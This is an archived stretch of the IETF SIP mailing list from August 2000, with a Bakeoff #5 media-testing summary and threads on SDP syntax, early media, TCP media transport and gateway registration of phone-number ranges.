Bakeoff #5 advanced testing of media switching for one of the two participating groups. Please forgive any errors or omissions. Brett Tate BroadSoft ------------------------------------------------------ SIP Bakeoff #5: Advanced Media Testing unofficial summary for one of the two groups.=20 It was decided that session hold and retrieval did=20 not need to be tested. However the importance of an INVITE without SDP to pull a held party off of hold=20 was reiterated for its use by third party call controllers.=20 Scenario 1)=20 Allow a re-INVITE to occur which changes=20 the SDP's connection address and port for an=20 active call. It was soon decided that the scenario could not be initiated by the players involved. If I remember=20 correctly, it was decided that putting the call=20 on hold before the switch invalidated the scenario. The players in the scenario were Cisco, Nuera,=20 VegaStream and BroadSoft. Scenario 2)=20 Allow the media codec to change during call setup. A--B--C | D A invites C with B acting as a proxy/controller. =20 A passes two encoder possibilities within the SDP. C returns 180 with SDP choice 1. B cancels the invite to C and invites D. D returns 180 with SDP choice 2 and answers using=20 choice 2. The test was not completed because of lack of time before players started leaving for the airport. Player A was performed by Cisco and Nuera.=20 Player B was BroadSoft. Players C and D were performed by VegaStream,=20 Pingtel, Vovida, and BroadSoft. Additional scenario idea for next bakeoff: Same as scenario 2 but D passes back 180=20 without SDP. =20 Expected result: ringing switches from remote to local.=20 ------=_NextPart_000_0BC9_01C007C7.7A04DFC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Here is my attempt at summarizing the results of =
SIP Bakeoff #5 advanced testing of media=20 switching
for one of the two = participating=20 groups.
 
Please forgive any errors or=20 omissions.
 
Brett Tate
BroadSoft
 
------------------------------------------------------
SIP Bakeoff #5: Advanced Media=20 Testing
unofficial summary for one of the two = groups.=20
 
It was decided that session hold and retrieval did=20
not need to be tested.  However the importance = of=20 an
INVITE without SDP to pull a held party off of=20 hold
was reiterated for its use by third party call = controllers.=20
 
 
Scenario 1)
 
Allow a re-INVITE to occur which changes
the = SDP's=20 connection address and port for an
active call.
 
It was soon decided that the scenario could = not
be initiated by the players involved.  If I = remember=20
correctly, it was decided that putting the call =
on hold before the switch invalidated the=20 scenario.
 
The players in the scenario were Cisco, Nuera, =
VegaStream=20 and BroadSoft.
 
 
 
Scenario 2)
 
Allow the media codec to change during call=20 setup.
 
A--B--C
    |
   =20 D
 
A invites C with B acting as a = proxy/controller. 
A=20 passes two encoder possibilities within the SDP.
C returns 180 with = SDP=20 choice 1.
B cancels the invite to C and invites D.
D returns 180 = with SDP=20 choice 2 and answers using
choice 2.
 
The test was not completed because of lack of = time
before=20 players started leaving for the airport.
 
Player A was performed by Cisco and Nuera. =
Player B was=20 BroadSoft.
Players C and D were performed by VegaStream,
Pingtel, = Vovida,=20 and BroadSoft.
 

Additional scenario idea for next = bakeoff:
 
Same as scenario 2 but D passes back 180
without = SDP. 
 
Expected result: ringing switches from remote to = local.=20
------=_NextPart_000_0BC9_01C007C7.7A04DFC0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 21:41:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA06870 for ; Wed, 16 Aug 2000 21:41:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DB90244356; Wed, 16 Aug 2000 21:41:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id A571C44338 for ; Wed, 16 Aug 2000 21:41:24 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Wed, 16 Aug 2000 18:41:37 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Hisham Khartabil'" Cc: "'sip@lists.bell-labs.com'" Subject: RE: [SIP] Telephone-subscriber registration. Date: Wed, 16 Aug 2000 18:41:36 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Thanks, I hoped there might be other route exporting approaches that didn't reinvent the wheel. Regards, Robert. > -----Original Message----- > From: Hisham Khartabil [mailto:hisham.khartabil@lmf.ericsson.se] > Sent: Wednesday, August 16, 2000 4:00 PM > To: Fairlie-Cuninghame, Robert > Cc: 'sip@lists.bell-labs.com' > Subject: Re: [SIP] Telephone-subscriber registration. > > > Hi, > > You might want to take a look at: > > http://www.cs.columbia.edu/~jdrosen/papers/draft-rs-trip-gw-00.txt > > it should answer your question > > Thanks > Hisham Khartabil > > > "Fairlie-Cuninghame, Robert" wrote: > > > Hi all, > > > > Is there any standard method or has anyone thought about a > way to register a > > range of telephone-subscribers? > > > > A SIP-PSTN gateway is not always aware of the exact > presence of all its PSTN > > endpoints. It may merely know that the trunk connecting to > a range of phone > > numbers is active. For instance, 555-4000 to 555-4999. It > is impractical to > > register 1000 endpoints individually but there still seems > to be good cause > > to want to register all these possible addresses with a SIP proxy. > > > > The most straight forward solution would seem to be to > devise a method for > > SIP-PSTN gateways to register using a tel: URL [RFC2806] in > the To header > > that specified a wildcard/pattern-match > telephone-subscriber (currently not > > supported). Suggestions? Adding a wildcard digit and/or new > parameters. > > > > eg. sip:555-4xxx;matchrange=0-79@gateway;user=tel-pattern > > to specify 555-4000 to 555-4079 (just as a trivial > example). The > > user=tel-pattern ensures that the tel: is not processed as standard > > telephone-subscriber. > > > > Any other ideas or comments ? > > > > This problem has probably been solved in H.323 Gatekeeper > registrations but > > I am not very au fait with the mechanisms of that protocol. > Perhaps someone > > else can comment. > > > > Regards, > > > > Robert. > > > > -- My opinions are my own. I tried selling them once but everybody > > seems to already have one. -- > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 21:48:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA06896 for ; Wed, 16 Aug 2000 21:48:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 80D9144362; Wed, 16 Aug 2000 21:48:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 45EE544338 for ; Wed, 16 Aug 2000 21:48:19 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Wed, 16 Aug 2000 18:48:35 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'David Yon'" , Jonathan Rosenberg Cc: "'Christian Huitema'" , sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Wed, 16 Aug 2000 18:48:34 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > > > >Would both "TCP" and "RTP/AVP-TCP" share the same a= line > options? Would > >they therefore be described in the same I-D or is there > sufficiently more > >to say about RTP/AVP-TCP to warrant its own I-D? > I don't see why. We are prescribing the same mechanism for both cases, right? So it seems silly to create two I-D's that describe the same mechanism. I imagine that the RTP/AVP-TCP case will mostly simply reference RFC1890. Robert. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 23:26:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA08308 for ; Wed, 16 Aug 2000 23:26:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A5CE544362; Wed, 16 Aug 2000 23:26:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f281.law7.hotmail.com [216.33.236.159]) by lists.bell-labs.com (Postfix) with ESMTP id 3EA8844338 for ; Wed, 16 Aug 2000 23:25:57 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 16 Aug 2000 20:25:56 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Thu, 17 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Thu, 17 Aug 2000 03:25:56 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 17 Aug 2000 03:25:56.0672 (UTC) FILETIME=[DB2C8400:01C007FA] Subject: [SIP] a query on SOCKS Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hello Sir, I was searching for a solution to the rtp problem, to allow audio/vedio udp packets to pass through the firewall, and then in many reviews i read about SOCKS v5, i suppose it does something like the FCP(firewall control protocol) which is in the draft stages. Can anyone please inform me where i can get an open source for this protocol. Thanking you, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 23:38:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA08759 for ; Wed, 16 Aug 2000 23:38:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BAD4C4437C; Wed, 16 Aug 2000 23:37:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id BCD1744338 for ; Wed, 16 Aug 2000 23:37:51 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id JAA10348 for ; Thu, 17 Aug 2000 09:09:19 +0530 (IST) From: manu@sasi.com Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Thu, 17 Aug 2000 09:09:18 +0000 (IST) Received: from localhost (manu@localhost) by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id JAA01322 for ; Thu, 17 Aug 2000 09:09:19 +0530 Date: Thu, 17 Aug 2000 09:09:19 +0530 (IST) To: sip@lists.bell-labs.com Subject: [SIP] SDP: `s' & `t' lines Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is with regard to the torture tests in "draft-ietf-sip-call-flows-00.txt" The SDP announcements in most of those tests (section 8.1 onwards) do NOT have `s' & `t' lines. The attached text says that the total SIP message is `correctly formatting'. According to the SDP grammar, however, both are mandatory lines. So, is that an error or not? [Yes, I know that there was a thread on making the `s' line optional, but it doesn't seem to have been resolved. Or has it?] Thanks. Example attached below: ---------------------------------------------------------------------------- 8.1 INVITE Parser Torture Test Message This message is a correctly formatting SIP message. It contains: line folding all over escaped characters within quotes LWS between colons, semicolons, headers, and other fields both comma separated and separate listing of headers mix or short and long form for the same header unknown header field unusual header ordering nested comments unknown parameters of a known header Proxies should forward message and clients should respond as to a normal INVITE message. Message Details INVITE sip:vivekg@chair.dnrc.bell-labs.com SIP/2.0 TO : sip:vivekg@chair.dnrc.bell-labs.com ; tag = 1918181833n From : "J Rosenberg \\\"" ; tag = 98asjd8 Call-ID : 0ha0isndaksdj@10.1.1.1 cseq: 8 INVITE Via : SIP / 2.0 /UDP 135.180.130.133 Subject : NewFangledHeader: newfangled value more newfangled value Content-Type: application/sdp v: SIP / 2.0 / TCP 12.3.4.5 ; branch = 9ikj8 , SIP / 2.0 / UDP 1.2.3.4 ; hidden m:"Quoted string \"\"" ; newparam = newvalue ; secondparam = secondvalue ; q = 0.33 (((nested comments) and (more))) , tel:4443322 v=0 o=mhandley 29739 7272939 IN IP4 126.5.4.3 c=IN IP4 135.180.130.88 m=audio 492170 RTP/AVP 0 12 m=video 3227 RTP/AVP 31 a=rtpmap:31 LPC ---------------------------------------------------------------------------- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 01:00:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09205 for ; Thu, 17 Aug 2000 01:00:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1CFD84435B; Thu, 17 Aug 2000 00:59:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id DD26744338 for ; Thu, 17 Aug 2000 00:59:56 -0400 (EDT) Received: from dynamicsoft.com (1Cust212.tnt1.freehold.nj.da.uu.net [63.17.113.212]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA27983; Thu, 17 Aug 2000 01:00:46 -0400 (EDT) Message-ID: <399B7285.8E6B37BE@dynamicsoft.com> Date: Thu, 17 Aug 2000 01:05:09 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: manu@sasi.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] SDP: `s' & `t' lines References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit SIPs usage of SDP must be compliant to rfc2327. As s is mandatory in SDP, its mandatory to be used when SDP is used within SIP. We should fix these errors in the call flows document. -Jonathan R. manu@sasi.com wrote: > > This is with regard to the torture tests in > "draft-ietf-sip-call-flows-00.txt" > > The SDP announcements in most of those tests (section 8.1 onwards) do > NOT have `s' & `t' lines. The attached text says that the total SIP > message is `correctly formatting'. > > According to the SDP grammar, however, both are mandatory lines. > So, is that an error or not? > > [Yes, I know that there was a thread on making the `s' line > optional, but it doesn't seem to have been resolved. Or has it?] > > Thanks. > > Example attached below: > ---------------------------------------------------------------------------- > 8.1 INVITE Parser Torture Test Message > > This message is a correctly formatting SIP message. It contains: > > line folding all over > escaped characters within quotes > LWS between colons, semicolons, headers, and other fields > both comma separated and separate listing of headers > mix or short and long form for the same header > unknown header field > unusual header ordering > nested comments > unknown parameters of a known header > > Proxies should forward message and clients should respond as to a > normal INVITE message. > > Message Details > > INVITE sip:vivekg@chair.dnrc.bell-labs.com SIP/2.0 > TO : > sip:vivekg@chair.dnrc.bell-labs.com ; tag = 1918181833n > From : "J Rosenberg \\\"" > ; > tag = 98asjd8 > Call-ID > : 0ha0isndaksdj@10.1.1.1 > cseq: 8 > INVITE > Via : SIP / 2.0 > /UDP > 135.180.130.133 > Subject : > NewFangledHeader: newfangled value > more newfangled value > Content-Type: application/sdp > v: SIP / 2.0 / TCP 12.3.4.5 ; > branch = 9ikj8 , > SIP / 2.0 / UDP 1.2.3.4 ; hidden > m:"Quoted string \"\"" ; newparam = > newvalue ; > secondparam = secondvalue ; q = 0.33 > (((nested comments) and (more))) , > tel:4443322 > > v=0 > o=mhandley 29739 7272939 IN IP4 126.5.4.3 > c=IN IP4 135.180.130.88 > m=audio 492170 RTP/AVP 0 12 > m=video 3227 RTP/AVP 31 > a=rtpmap:31 LPC > ---------------------------------------------------------------------------- > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 02:07:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21507 for ; Thu, 17 Aug 2000 02:07:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E075E44369; Thu, 17 Aug 2000 02:07:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D556244338 for ; Thu, 17 Aug 2000 02:07:02 -0400 (EDT) Received: from dynamicsoft.com (1Cust212.tnt1.freehold.nj.da.uu.net [63.17.113.212]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA28121; Thu, 17 Aug 2000 02:08:35 -0400 (EDT) Message-ID: <399B8269.FBCABDC6@dynamicsoft.com> Date: Thu, 17 Aug 2000 02:12:57 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jean-Hugues ROBERT Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit This is a really good issue. Thanks for bringing it up. Seems like there are really just three possibilities: 1. punt this problem; you can't change the parameters before the call is setup 2. allow reinvites before the 200 OK to change the parameters 3. don't allow early media - send a 200 OK for this instead None of these are ideal. (2) worries me, as it introduces additional complexity which I fear will have interactions with other things. (3) is somewhat appealing, allowing us to return to the simpler model SIP orginally had. However, people claimed this had nasty interactions with billing systems and PSTN interworking. I wonder if we can't revisit this and see if those issues could be resolved some other way? -Jonathan R. Jean-Hugues ROBERT wrote: > > Hi, > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > can I put a call on hold when I hear a remotely generated ringback tone ?" > > Much longer form: > > It is generaly agreed that making Media and Signaling distinct is a good > thing. Amoung other benefit it enables decomposed architectures and more > generaly support the locality of concern principle. > > A prime example of this distinction is SDP usage in SIP. SIP is basically > concerned by Signaling whereas SDP is about Media. > > Signaling is mainly about setting up and tearing down communications. Media > is mainly about payload formats and destinations. > > It is my understanding that, prior to 183 Session Progress, Media data > started to flow only after INVITE's 200 OK final response was received or > acknowledged (depending on side). > > Afterward, changes impacting Media (changes in SDPs) occured at any time > using re-INVITE. Callee could ask Caller "Please now handle Media according > to this new SDP". Caller could do the same. This was fine. > > However, since 183 Provisionnal response was introduced, as well as other > new occasions to change SDPs during call setup, Media can start to flow > well before 200 OK, or even in the total absence of 200 OK. > > This may introduce an issue regarding control of Media, during the setup phase: > Callee can still ask Caller "Please now handle Media according to this > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > ask Callee to change Media any more. > > To be fully accurate, it seems that Caller could still ask Callee to change > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > first. Is SDP legal in PRACK's ack message ? > > So my question is: "In the presence of Early Media, how can a Caller ask a > Callee to handle Media according to a new SDP when Caller's INVITE > transaction is still not completed ?". > > One potential solution could be to allow re-INVITE while the "main" INVITE > is still not completed. It is illegal today. This would introduce > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > of nested transaction, isn't it ? > > Another solution, probably simplier, would be to enable 183 "both ways": > The Caller would have the rigth to send it to the Callee, potentially only > in the presence of Early Media. But that seems weird, because it is a > reponse without a question. > > If you are guessing "why the hell does this matter ?", please think of > potential restrictions if Media cannot change while call is beeing setted up. > > One example related to mobility (probably not 100% relevant, not a thread > to SIP for Mobility): > Lets say I have a decomposed cheap wireless IP phone: > - The expensive UA has a fixed IP address and a full featured SIP stack > with a fancy Java user application, it handles multiple phones. > - The cheap phones have no fixed IP addresses, a very ligth > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > the UA. > Whenever the phone's IP address changes, the UA will change the Media of > the involved SIP calls, if any. > > Now the issue: What if the phone moves while receiving Early Media (say > remote ringback tone) ? UA need to tell the Callee about the Calling > phone's new IP address. How ? > > Other, simplier, issues: How do I put a call on hold when I am listening to > some network generated annoucement ? How can an assistant, dialing on > behalf of the boss, transfer the ringing call to the boss when ringback > tone is generated remotely ? > > Any previous art in solving this issue (if it is actually an issue) ? > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > solved ? > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > Early Media and have a 200 OK as soon as media is there (with probably some > hints that the call/session is not "fully" established). Some yet to define > "INFO Session Progress" could later on indicate how the call is > progressing. This has the merit of beeing compatible with existing > implementations. > > Jean-Hugues Robert > --------------------------------------------------------------------------- > "Fix Bugs First" > Sophia General Manager. > mailto:jhr@netergynet.com - We serve providers - "Think globally. > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 02:44:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21656 for ; Thu, 17 Aug 2000 02:44:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 86E8644388; Thu, 17 Aug 2000 02:44:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 71E8044338 for ; Thu, 17 Aug 2000 02:44:21 -0400 (EDT) Received: from dynamicsoft.com (1Cust212.tnt1.freehold.nj.da.uu.net [63.17.113.212]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA28191; Thu, 17 Aug 2000 02:45:56 -0400 (EDT) Message-ID: <399B8B2A.E93F687A@dynamicsoft.com> Date: Thu, 17 Aug 2000 02:50:18 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > > At 03:29 AM 8/15/00 -0400, Jonathan Rosenberg wrote: > > >I agree as well. I am particularly interested in RTP/AVP-TCP for the > >purposes of firewall traversal. > > Would both "TCP" and "RTP/AVP-TCP" share the same a= line options? Would > they therefore be described in the same I-D or is there sufficiently more > to say about RTP/AVP-TCP to warrant its own I-D? > > >I want to be sure we are consistent about what the semantic is of values > >we place inside of SDP. So, lets take a step back. For passive, both and > >uni, we need to specify the port we are listening on. This port will > >also be the source port of packets sent back to the host which initiated > >the connection. For active connections, David wishes to indicate the > >source port that will be used in the initial SYN packet. I'm still not > >clear on why this is needed. > > I talked about this earlier in the thread (substitute "port zero" in the > mail for "PORT_ANY" or however you want to think about it): > > http://lists.bell-labs.com/pipermail/sip/2000q3/001855.html > > I don't know what to add to the above email---I thought I spelled it out > fairly explicitly. The difficulty here is that you are choosing to modify one of the fundamental RTP design choices. RTP uses dynamic ports explicitly because you might have multiple sessions on the same host; thats why there is no well known RTP port. Your problem is arising since you want to discard this decision, use a single port for RTP, and demux based on source IP address AND source port. Demuxing based on source address and port info seems mightily dangerous, particulary in the presence of NATs which routinely modify exactly these things. I guess your assumption is that if the media streams are always on a well known port, we can convince firewall admins to allow inbound connections to that port. I'm doubtful that this would really happen. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 02:51:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21709 for ; Thu, 17 Aug 2000 02:51:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B8ADB44356; Thu, 17 Aug 2000 02:50:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id B0F1544338 for ; Thu, 17 Aug 2000 02:50:49 -0400 (EDT) Received: from dynamicsoft.com (1Cust212.tnt1.freehold.nj.da.uu.net [63.17.113.212]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA28208; Thu, 17 Aug 2000 02:52:20 -0400 (EDT) Message-ID: <399B8CAA.8A4F8FBD@dynamicsoft.com> Date: Thu, 17 Aug 2000 02:56:42 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Neil Deason Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Registrations not sharing the same Action References: <399A82DA.256527BD@ubiquity.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Neil Deason wrote: > > Just a thought but is there a real need for the restriction > that all active registrations MUST share the same Action? > I would expect a Proxy co-located with a Registrar to want to > proxy to registrations however in the case of non SIP URIs > this may not be possible. But you don't want it to become a > redirect server just to handle a single mailto:, or whatever, > registered amongst a bunch of SIP URLs. > > So why not allow a Proxy/Registrar to accept a mixture of actions > in registrations if it wants to. A SIP server could proxy to > those contacts registered with a proxy action and then if it > gets no 2xx response it could return a 3xx, perhaps making use of > the new Contacts-Tried header, along with any contacts > registered with a redirect action (incl non SIP URIs). > Of course if a server doesn't accept a mix of actions it can > still respond 409 Conflict. We considered this, and came to the conclusion that it was quickly approaching specialized call processing logic that is best defined explicitly through CPL or something like that. There are many other possible interpretations to a mix of proxy and redirect URLs... -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 03:00:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA21797 for ; Thu, 17 Aug 2000 03:00:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 70C1B44395; Thu, 17 Aug 2000 02:59:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com 